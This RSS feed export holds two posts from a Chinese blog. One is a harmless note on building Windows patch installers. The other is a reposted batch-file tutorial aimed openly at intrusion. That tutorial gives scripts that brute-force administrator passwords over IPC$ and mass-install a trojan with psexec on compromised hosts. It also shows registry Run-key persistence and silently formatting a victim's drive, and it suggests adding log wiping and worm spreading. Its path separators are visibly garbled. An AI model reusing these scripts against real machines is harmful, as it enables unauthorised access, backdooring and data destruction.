﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-为了遗忘的记录-随笔分类-gear</title><link>http://www.cnitblog.com/Raistlin/category/1570.html</link><description>Think!</description><language>zh-cn</language><lastBuildDate>Wed, 28 Sep 2011 09:43:00 GMT</lastBuildDate><pubDate>Wed, 28 Sep 2011 09:43:00 GMT</pubDate><ttl>60</ttl><item><title>自由地生成补丁程序</title><link>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 10 Feb 2006 04:08:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/6540.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/6540.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/6540.html</trackback:ping><description><![CDATA[<P>啥时候也轮到俺写补丁程序了。虽然网络如此发达的今天，实在应该使用在线升级比较好。但微软不是还提供补丁程序下载吗...<BR>nsis的脚本不熟,installshield是庞然大物而且似乎产生的垃圾比实际安装的要多..-_-!<BR>所以自己弄个可以自己定制生成补丁的程序<BR>其实没那么玄，用微软的cabsdk和vc自身的编译功能就可以了<BR><BR>功能:<BR>&nbsp;压缩源文件<BR>&nbsp;解压文件<BR>&nbsp;替换文件或新建文件或删除文件<BR>&nbsp;若失败恢复原系统文件<BR>&nbsp;登记/判断补丁信息<BR><BR>方法:<BR>1、使用cabsdk来生成cab文件 cabsdk可从微软网站上下载<BR>2、建立工程A，功能如下：<BR>&nbsp;(a)设置补丁程序信息<BR>&nbsp;(b)指定补丁源文件和将被替换(或添加)的文件路径<BR>&nbsp;(c)生成配置信息文件patch.ini<BR>&nbsp;(d)调用cabsdk中CABARC.EXE压缩补丁文件和配置信息文件到cab文件<BR>&nbsp;(e)修改工程B的rc文件，把cab文件作为工程B的资源，设置生成的exe文件的描述信息<BR>&nbsp;(f)调用vc编译器NMAKE.exe编译链接工程B<BR>3、建立工程B，功能如下：<BR>&nbsp;(a)调用cabsdk中fdi解压资源中的cab文件到临时文件夹<BR>&nbsp;(b)读取cab文件中的patch.ini<BR>&nbsp;(c)判断补丁是否有效<BR>&nbsp;(d)根据patch.ini信息循环: 备份目标文件，更新文件<BR>&nbsp;(e)失败:恢复原有文件<BR>&nbsp;(f)成功:注册补丁信息，如写入注册表<BR>&nbsp;(g)删除临时文件<BR><BR>即将添加新功能:修改注册表...<BR>未完待修改...<BR><BR>-------------------------------------------传说中的分割线-------------------------------------------<BR>您肯定被上面的搞晕了吧。。没关系，因为还有更好的方式可以实现这个目的，即不需要调用外部的程序直接生成补丁程序。<BR>这就需要：<BR>&nbsp;&nbsp;&nbsp;1直接压缩文件。通过调用FCI的函数可以实现<BR>&nbsp;&nbsp;&nbsp;2直接修改补丁程序的资源。这个难了点，不过俺有秘密武器:)。<BR><BR>不管如何实现的，补丁的数据格式需要预先定义。<BR>补丁的信息和内容保存在补丁程序的资源中。文件名为Patch.cab<BR>Patch.cab<BR>&nbsp; -Patch.ini<BR>&nbsp; -source files<BR><BR>Patch.ini内容如下<BR>patchName=xxx<BR>disusedPatchs=xxx;xxx;xxx<BR>appTitle=xxxx<BR>appDescription=xxx<BR>appComments=xxx<BR>pathVars=path1,path2,path3,path4<BR>path1.type=FIXED<BR>path1.value=xxx<BR>path2.type=ENVIRONMENT<BR>path2.value=%systemenvirement%<BR>path2.alterValue=xxx<BR>path3.type=REGISTER<BR>path3.value=HKEY_LOCALMACHINE|regpath<BR>path3.alterValue=xxx<BR>path4.type=USERINPUT<BR>path4.value=*path3*<BR>filesUpdate=ufile1;ufile2;ufile3...<BR>ufile1.src=....<BR>ufile1.dest=*path1*\relativepath<BR>ufile2.src=...<BR>ufile2=absolutepath<BR>ufile3.src=...<BR>ufile3=...<BR>filesAdd=afile1;afile2..<BR>afile1.src=...<BR>afile1.dest=dest path..<BR>afile2.src=...<BR>afile2.dest=...<BR>filesDelete=dfile1;dfile2..<BR>dfile1=path..<BR>dfile2=path..<BR>regUpdate=ureg1;ureg2...<BR>ureg1.type=BINARY/DWORD/SZ<BR>ureg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>ureg1.keyname=...<BR>ureg1.keyvalue=...<BR>regAdd=areg1;areg2..<BR>areg1.type=BINARY/DWORD/SZ<BR>areg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>areg1.keyname=...<BR>areg1.keyvalue=...<BR>regDelete=dreg1;dreg2...<BR>dreg1.parent=HKEK_LOCAL_MACHINE/HKEY_CURRENT_USER<BR>dreg1.keyname=...</P>
<P>-------------------------------------------暗淡的分割线-------------------------------------------<BR>发现要能生成适合各种情况的能订制的补丁要考虑的东西太多太多了...自己要定义一套东西...<BR>相当于制作安装程序要考虑的内容...<BR>那何必呢...直接研究NSIS不就可以了...<BR>NSIS帮助文档的翻译:<A href="http://foobar.nease.net/nsis/index.html">http://foobar.nease.net/nsis/index.html</A>,和英文的没啥差别,差别就是语言不同.哈<BR>稍微看了一下，又倒了胃口...<BR>本来安装程序这东西就很复杂,提供定制更麻烦,InstallShield不就有无数个变量吗...<BR><BR>-------------------------------------------最后的分割线-------------------------------------------<BR>最终还是用NSIS来做了...<BR>其实NSIS晦涩的地方在于:<BR>1，没有丰富的中文资料，Document上那点内容看了不会让人放心，说实在还是得去他们论坛查，够麻烦<BR>2，很多语法类似于汇编语言<BR>3, contrib目录下有很多库，每个库有各自的文档，而且是不怎么详细的文档<BR><BR>不过便利的地方也很多:<BR>写个.ini文件就可以订制对话框<BR>可以调用外部DLL<BR>支持回调函数(CALLBACK)<BR>可以编写NSIS自己的DLL，直接访问安装程序内部数据<BR><BR>下图是是调用了外部DLL执行mssql的.sql文件，并由外部DLL回调内部方法输出SQL语句的例子。<BR><IMG height=1071 alt=nsispatch.jpg src="http://www.cnitblog.com/images/cnitblog_com/raistlin/nsispatch.jpg" width=505 border=0></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/6540.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-02-10 12:08 <a href="http://www.cnitblog.com/Raistlin/archive/2006/02/10/6540.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写DOS批处理文件[转] </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:52:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5570.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5570.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5570.html</trackback:ping><description><![CDATA[<P>原文地址<A href="http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm">http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm</A></P>
<P>如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了</P>
<P>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。</P>
<P>一.简单批处理内部命令简介<BR>1.Echo 命令<BR>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<BR>语法<BR>echo [{ on|off }] [message]<BR>Sample：@echo off / echo hello world<BR>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</P>
<P>2.@ 命令<BR>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<BR>Sample：@echo off<BR>@echo Now initializing the program,please wait a minite...<BR>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</P>
<P>3.Goto 命令<BR>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<BR>语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<BR>Sample：<BR>if { %1 }=={ } goto noparms<BR>if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<BR>@Rem check parameters if null show usage<BR>:noparms<BR>echo Usage: monitor.bat ServerIP PortNumber<BR>goto end<BR>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</P>
<P>4.Rem 命令<BR>注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<BR>Rem Message<BR>Sample：@Rem Here is the description.</P>
<P>5.Pause 命令<BR>运行 Pause 命令时，将显示下面的消息：<BR>Press any key to continue . . .<BR>Sample：<BR>@echo off<BR>:begin<BR>copy a:*.* d：//back<BR>echo Please put a new disk into driver A<BR>pause<BR>goto begin<BR>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</P>
<P>6.Call 命令<BR>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<BR>语法<BR>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<BR>参数<BR>[Drive: }[Path] FileName<BR>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</P>
<P>7.start 命令<BR>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<BR>入侵常用参数：<BR>MIN 开始时窗口最小化<BR>SEPARATE 在分开的空间内开始 16 位 Windows 程序<BR>HIGH 在 HIGH 优先级类别开始应用程序<BR>REALTIME 在 REALTIME 优先级类别开始应用程序<BR>WAIT 启动应用程序并等候它结束<BR>parameters 这些为传送到命令/程序的参数<BR>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<BR>8.choice 命令<BR>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<BR>如: choice /c:dme defrag,mem,end<BR>将显示<BR>defrag,mem,end[D,M,E]?<BR>Sample：<BR>Sample.bat的内容如下:<BR>@echo off<BR>choice /c:dme defrag,mem,end<BR>if errorlevel 3 goto defrag （应先判断数值最高的错误码）<BR>if errorlevel 2 goto mem<BR>if errotlevel 1 goto end</P>
<P>:defrag<BR>c://dos//defrag<BR>goto end<BR>:mem<BR>mem<BR>goto end<BR>:end<BR>echo good bye</P>
<P>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</P>
<P>9.If 命令</P>
<P>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<BR>1、if "参数" == "字符串" 　待执行的命令<BR>参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<BR>如if "%1"=="a" format a:<BR>if { %1 }=={ } goto noparms<BR>if { %2 }=={ } goto noparms</P>
<P>2、if exist 文件名　 待执行的命令<BR>如果有指定的文件，则条件成立，运行命令，否则运行下一句。<BR>如if exist config.sys edit config.sys</P>
<P>3、if errorlevel / if not errorlevel 数字　 待执行的命令<BR>如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<BR>如if errorlevel 2 goto x2 　<BR>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</P>
<P>10.for 命令<BR>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<BR>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</P>
<P>for { %variable|%%variable } in (set) do command [ CommandLineOptions]<BR>%variable 指定一个单一字母可替换的参数。<BR>(set) 指定一个或一组文件。可以使用通配符。<BR>command 指定对每个文件执行的命令。<BR>command-parameters 为特定命令指定参数或命令行开关。<BR>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<BR>而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</P>
<P>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<BR>支持:</P>
<P>FOR /D %variable IN (set) DO command [command-parameters]</P>
<P>如果集中包含通配符，则指定与目录名匹配，而不与文件<BR>名匹配。</P>
<P>FOR /R [[drive:]path] %variable IN (set) DO command [command-</P>
<P>检查以 [drive:]path 为根的目录树，指向每个目录中的<BR>FOR 语句。如果在 /R 后没有指定目录，则使用当前<BR>目录。如果集仅为一个单点(.)字符，则枚举该目录树。</P>
<P>FOR /L %variable IN (start,step,end) DO command [command-para</P>
<P>该集表示以增量形式从开始到结束的一个数字序列。<BR>因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<BR>序列 (5 4 3 2 1)。</P>
<P>FOR /F ["options"] %variable IN (file-set) DO command<BR>FOR /F ["options"] %variable IN ("string") DO command<BR>FOR /F ["options"] %variable IN (/'command/') DO command</P>
<P>或者，如果有 usebackq 选项:</P>
<P>FOR /F ["options"] %variable IN (file-set) DO command<BR>FOR /F ["options"] %variable IN ("string") DO command<BR>FOR /F ["options"] %variable IN (/'command/') DO command</P>
<P>filenameset 为一个或多个文件名。继续到 filenameset 中的<BR>下一个文件之前，每份文件都已被打开、读取并经过处理。<BR>处理包括读取文件，将其分成一行行的文字，然后将每行<BR>解析成零或更多的符号。然后用已找到的符号字符串变量值<BR>调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<BR>的第一个空白符号。跳过空白行。您可通过指定可选 "options"<BR>参数替代默认解析操作。这个带引号的字符串包括一个或多个<BR>指定不同解析选项的关键字。这些关键字为:</P>
<P>eol=c - 指一个行注释字符的结尾(就一个)<BR>skip=n - 指在文件开始时忽略的行数。<BR>delims=xxx - 指分隔符集。这个替换了空格和跳格键的<BR>默认分隔符集。<BR>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<BR>的 for 本身。这会导致额外变量名称的<BR>格式为一个范围。通过 nth 符号指定 m<BR>符号字符串中的最后一个字符星号，<BR>那么额外的变量将在最后一个符号解析之<BR>分配并接受行的保留文本。<BR>usebackq - 指定新语法已在下类情况中使用:<BR>在作为命令执行一个后引号的字符串并且<BR>引号字符为文字字符串命令并允许在 fi<BR>中使用双引号扩起文件名称。</P>
<P>sample1:<BR>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command</P>
<P>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<BR>每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<BR>空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<BR>取得第二个符号，引用 %j 来取得第三个符号，引用 %k<BR>来取得第三个符号后的所有剩余符号。对于带有空格的文件<BR>名，您需要用双引号将文件名括起来。为了用这种方式来使<BR>用双引号，您还需要使用 usebackq 选项，否则，双引号会<BR>被理解成是用作定义某个要分析的字符串的。</P>
<P>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<BR>tokens= 选项专门得到说明的。您可以通过 tokens= 一行<BR>指定最多 26 个符号，只要不试图说明一个高于字母 /'z/' 或<BR>/'Z/' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<BR>同时不能有 52 个以上都在使用中。</P>
<P>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<BR>用单引号将括号之间的 filenameset 括起来。这样，该字符<BR>串会被当作一个文件中的一个单一输入行。</P>
<P>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<BR>括号之间的 filenameset 变成一个反括字符串。该字符串会<BR>被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<BR>内存，并被当作文件分析。因此，以下例子:</P>
<P>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i</P>
<P>会枚举当前环境中的环境变量名称。</P>
<P>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<BR>选项语法:</P>
<P>~I - 删除任何引号(")，扩充 %I<BR>%~fI - 将 %I 扩充到一个完全合格的路径名<BR>%~dI - 仅将 %I 扩充到一个驱动器号<BR>%~pI - 仅将 %I 扩充到一个路径<BR>%~nI - 仅将 %I 扩充到一个文件名<BR>%~xI - 仅将 %I 扩充到一个文件扩展名<BR>%~sI - 扩充的路径只含有短名<BR>%~aI - 将 %I 扩充到文件的文件属性<BR>%~tI - 将 %I 扩充到文件的日期/时间<BR>%~zI - 将 %I 扩充到文件的大小<BR>%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<BR>到找到的第一个完全合格的名称。如果环境变量<BR>未被定义，或者没有找到文件，此组合键会扩充<BR>空字符串</P>
<P>可以组合修饰符来得到多重结果:</P>
<P>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<BR>%~nxI - 仅将 %I 扩充到一个文件名和扩展名<BR>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<BR>%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<BR>到找到的第一个驱动器号和路径。<BR>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR</P>
<P>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<BR>用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<BR>比较易读，而且避免与不分大小写的组合键混淆。</P>
<P>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</P>
<P>sample2：</P>
<P>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<BR>我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<BR>最主要的命令是一条：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"<BR>用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<BR>for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D://ok.txt ，这样就ko了。</P>
<P>sample3：</P>
<P>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</P>
<P>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<BR>tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<BR>而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<BR>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<BR>代码雏形：<BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<BR>@echo off<BR>@if "%1"=="" goto usage<BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<BR>@goto end<BR>:usage<BR>@echo run this batch in dos modle.or just double-click it.<BR>:end<BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------</P>
<P><BR>------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<BR>@net use ////%1//ipc$ %3 /u:"%2"<BR>@if errorlevel 1 goto failed<BR>@echo Trying to establish the IPC$ connection …………OK<BR>@copy windrv32.exe////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<BR>@psexec ////%1 c://winnt//system32//windrv32.exe<BR>@psexec ////%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<BR>:failed<BR>@echo Sorry can not connected to the victim.<BR>----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<BR>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<BR>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</P>
<P>二.如何在批处理文件中使用参数<BR>批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。<BR>sample1：fomat.bat<BR>@echo off<BR>if "%1"=="a" format a:<BR>:format<BR>@format a:/q/u/auotset<BR>@echo please insert another disk to driver A.<BR>@pause<BR>@goto fomat<BR>这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^<BR>sample2：<BR>当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。<BR>@echo off<BR>@net use ////1%//ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。<BR>@if errorlevel 1 echo connection failed<BR>怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3<BR>三.如何使用组合命令(Compound Command)</P>
<P>1.&amp;</P>
<P>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，而不管命令是否执行成功</P>
<P>Sample：<BR>C://&gt;dir z: &amp; dir c://Ex4rch<BR>The system cannot find the path specified.<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of c://Ex4rch</P>
<P>2002-05-14 23:51 &lt;DIR&gt; .<BR>2002-05-14 23:51 &lt;DIR&gt; ..<BR>2002-05-14 23:51 14 sometips.gif</P>
<P>2.&amp;&amp;</P>
<P>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；</P>
<P>Sample：<BR>C://&gt;dir z: &amp;&amp; dir c://Ex4rch<BR>The system cannot find the path specified.</P>
<P>C://&gt;dir c://Ex4rch &amp;&amp; dir z:<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of c://Ex4rch</P>
<P>2002-05-14 23:55 &lt;DIR&gt; .<BR>2002-05-14 23:55 &lt;DIR&gt; ..<BR>2002-05-14 23:55 14 sometips.gif<BR>1 File(s) 14 bytes<BR>2 Dir(s) 768,671,744 bytes free<BR>The system cannot find the path specified.</P>
<P>在做备份的时候可能会用到这种命令会比较简单，如：<BR>dir <A href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</A> &amp;&amp; copy <A href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</A> E://backup<BR>如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）</P>
<P>3.||</P>
<P>Usage：第一条命令 || 第二条命令 [|| 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；</P>
<P>Sample：<BR>C://Ex4rch&gt;dir sometips.gif || del sometips.gif<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of C://Ex4rch</P>
<P>2002-05-14 23:55 14 sometips.gif<BR>1 File(s) 14 bytes<BR>0 Dir(s) 768,696,320 bytes free</P>
<P>组合命令使用的例子：<BR>sample：<BR>@copy trojan.exe ////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt</P>
<P>四、管道命令的使用</P>
<P>1.| 命令<BR>Usage：第一条命令 | 第二条命令 [| 第三条命令...]<BR>将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。</P>
<P>sample：<BR>time /t&gt;&gt;D://IP.log<BR>netstat -n -p tcp|find ":3389"&gt;&gt;D://IP.log<BR>start Explorer<BR>看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。</P>
<P>2.&gt;、&gt;&gt;输出重定向命令<BR>将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。</P>
<P>sample1：<BR>echo hello world&gt;c://hello.txt (stupid example?)</P>
<P>sample2:<BR>时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<BR>运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<BR>这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<BR>日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<BR>这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<BR>CMD--fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。</P>
<P>3.&lt; 、&gt;&amp; 、&lt;&amp;<BR>&lt; 从文件中而不是从键盘中读入命令输入。<BR>&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。<BR>&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<BR>这些并不常用，也就不多做介绍。</P>
<P>No.5<BR>五.如何用批处理文件来操作注册表</P>
<P>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)<BR>关于注册表的操作，常见的是创建、修改、删除。</P>
<P>1.创建<BR>创建分为两种，一种是创建子项(Subkey)</P>
<P>我们创建一个文件，内容如下：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]</P>
<P>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。</P>
<P>另一种是创建一个项目名称<BR>那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<BR>"Invader"="Ex4rch"<BR>"Door"=C:////WINNT////system32////door.exe<BR>"Autodos"=dword:02</P>
<P>这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下<BR>新建了:Invader、door、about这三个项目<BR>Invader的类型是“String Value”<BR>door的类型是“REG SZ Value”<BR>Autodos的类型是“DWORD Value”</P>
<P><BR>2.修改<BR>修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。</P>
<P>3.删除<BR>我们首先来说说删除一个项目名称，我们创建一个如下的文件：</P>
<P>Windows Registry Editor Version 5.00</P>
<P>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<BR>"Ex4rch"=-</P>
<P>执行该脚本，[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了；</P>
<P>&nbsp;</P>
<P>--------------------------------------------------------------------------------</P>
<P>以上为转载内容</P>
